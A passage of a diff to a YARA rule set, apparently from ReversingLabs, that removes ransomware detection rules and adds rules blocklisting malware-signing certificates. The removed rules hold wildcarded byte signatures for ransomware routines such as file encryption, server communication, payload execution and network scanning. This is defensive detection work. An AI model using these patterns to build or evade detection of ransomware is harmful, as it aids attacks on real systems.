?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 43 ?? ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 6A ?? 6A ?? 50 8D 43 ?? 50 E8 ?? ?? ?? ?? 83 F8 ?? 75 - ?? 66 C7 43 ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 89 03 66 81 7B ?? ?? ?? 0F - 85 ?? ?? ?? ?? 66 C7 43 ?? ?? ?? 6A ?? 8B 03 50 E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? - 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 85 FF 7D ?? 33 FF 6A ?? - 6A ?? 57 8B 03 50 E8 ?? ?? ?? ?? 40 74 ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 83 - ?? ?? ?? ?? 50 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 E9 ?? - ?? ?? ?? F6 43 ?? ?? 74 ?? 83 3C 24 ?? 76 ?? 8B 14 24 4A 85 D2 72 ?? 42 33 FF 8D 83 - ?? ?? ?? ?? 80 38 ?? 75 ?? 6A ?? 6A ?? 8B C7 2B 44 24 ?? 50 8B 03 50 E8 ?? ?? ?? ?? - 40 74 ?? 8B 03 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C3 E8 ?? ?? ?? ?? 8B F0 EB ?? 47 40 - 4A 75 ?? 66 83 BB ?? ?? ?? ?? ?? 75 ?? 0F B7 05 ?? ?? ?? ?? 66 89 83 ?? ?? ?? ?? 66 - 81 7B ?? ?? ?? 74 ?? 8B 03 50 E8 - } - $server_communication = { - 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? - ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? - 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? - 33 C9 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? B2 ?? A1 ?? - ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 33 DB 8B CB B8 ?? ?? ?? - ?? D3 E0 85 F0 74 ?? 8D 45 ?? 8B D3 66 83 C2 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? 8B 08 FF 51 ?? 43 83 FB ?? 75 ?? A1 ?? ?? - ?? ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B - 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 43 4E 75 ?? A1 ?? ?? ?? ?? 8B 10 - FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 6A ?? 6A ?? 8D 4D ?? 8B D3 A1 ?? ?? ?? ?? 8B - 38 FF 57 ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 43 4E 75 ?? 8D 55 ?? B8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? - ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 8B 80 ?? ?? ?? ?? 33 C9 BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 - ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 - } - $server_communication_1 = { - 55 8B EC 33 C9 51 51 51 51 51 53 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A - ?? 8D 45 ?? 50 33 C9 BA ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? - 50 8D 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? - ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 33 C9 8B 83 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 33 D2 8B 83 ?? ?? ?? ?? 8B 08 FF 91 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $exec_payload = { - 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8B 4D ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? - E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? - ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? C3 - } - $copy_payload = { - 55 8B EC 6A ?? 6A ?? 6A ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? - ?? ?? ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 - 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 - 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $generate_strings_to_encrypt = { - 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D - 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? - ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? - ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? - ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 - ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? - ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? - ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B - 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 - ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? - ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Zhang" and pe.signatures [ i ] . serial == "3a:1b:39:7f:d9:45:1e:3b:58:91:fc:69:68:1e:d7:3d" and 1470614400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_1Eb816Aa49E4894D9E9F78729E53Cd48 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "d2e66765-bdf6-59ff-ac6c-1a82ecefa731" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16782-L16798" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "4e22568612aec050c7f78b81ba6749528a9c25c0ba43e14260a581a9bea7a2f0" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( $generate_strings_to_encrypt and $encrypt_file and $server_communication and $exec_payload ) or ( $encrypt_file and $server_communication_1 and $copy_payload ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x96\\x84\\xE5\\x90\\x9B \\xE9\\x9F\\xA6" and pe.signatures [ i ] . serial == "1e:b8:16:aa:49:e4:89:4d:9e:9f:78:72:9e:53:cd:48" and 1429056000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Zhen : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_383Ca88D6D9379C740609560 : INFO FILE { meta: - description = "Yara rule that detects Zhen ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ce6bc48d-934b-582c-8ce7-3dd595cbf5dd" - date = "2021-04-28" - modified = "2021-04-28" + id = "46166e9e-515d-530a-a651-59821d979f01" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Zhen.yara#L1-L176" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16800-L16816" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "17b24e7baeccd90b8695eb8d21d9ee4a317806ed7713252d315d06bee3f93e65" + logic_hash = "ce41d046a7ca320d034fa226b5e8c22022cc6bfc97eb9ef294b1aca232aaacef" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Zhen" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B 41 ?? C1 E0 ?? 8B 4D ?? 8B 49 ?? 03 C8 FF 15 - ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? FF 15 ?? ?? - ?? ?? 8D 55 ?? 8B 4D ?? 83 C1 ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D - 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 - E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D - } - $find_files_p2 = { - 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 - ?? 52 E8 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 - ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 11 89 95 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B 4D ?? 89 48 ?? 8B 55 - ?? 89 50 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C4 8B 4D ?? 89 08 8B 55 ?? 89 50 ?? 8B - 4D ?? 89 48 ?? 8B 55 ?? 89 50 ?? 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 91 - ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? EB ?? 8D - 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? - ?? C3 C3 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? - 5F 5E 5B 8B E5 5D C2 - } - $encrypt_files_p1 = { - 55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? FF 15 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 52 66 8B 45 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 6A ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 50 6A ?? 6A ?? - 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 - 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B - 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 8B - 02 8B 4D ?? 51 FF 50 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 - 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 66 89 45 - ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 8B 02 50 66 8B 4D ?? 51 - } - $encrypt_files_p2 = { - 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? FF 15 ?? - ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 89 45 ?? 83 7D - ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? - EB ?? C7 45 ?? ?? ?? ?? ?? 66 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 8D 45 ?? 50 68 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? FF 15 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 8B 45 ?? 8B 08 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 50 8B 45 ?? 8B 08 51 8D 55 ?? 52 - FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 - ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? - FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D - ?? FF 15 ?? ?? ?? ?? C3 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 - ?? ?? ?? ?? C3 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B - 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 - } - $scan_network_p1 = { - 55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 - FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 4D ?? 51 8B - 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ?? - 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? FF - 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D - 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D - 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D - 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? - 8B 08 8B 55 ?? 52 FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 - 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF - } - $scan_network_p2 = { - 15 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF - 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? - ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? - ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 - 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 2B - 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? B9 - ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? - ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B - 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA - ?? ?? ?? ?? 2B 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? - ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? - 33 C9 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B - 55 ?? 33 C0 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? - ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 5D ?? - C7 45 ?? ?? ?? ?? ?? DD 45 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 41 ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - } - $scan_network_p3 = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? - ?? 52 8D 85 ?? ?? ?? ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 8B 02 89 85 ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? - ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15 - ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B 11 8B 85 ?? 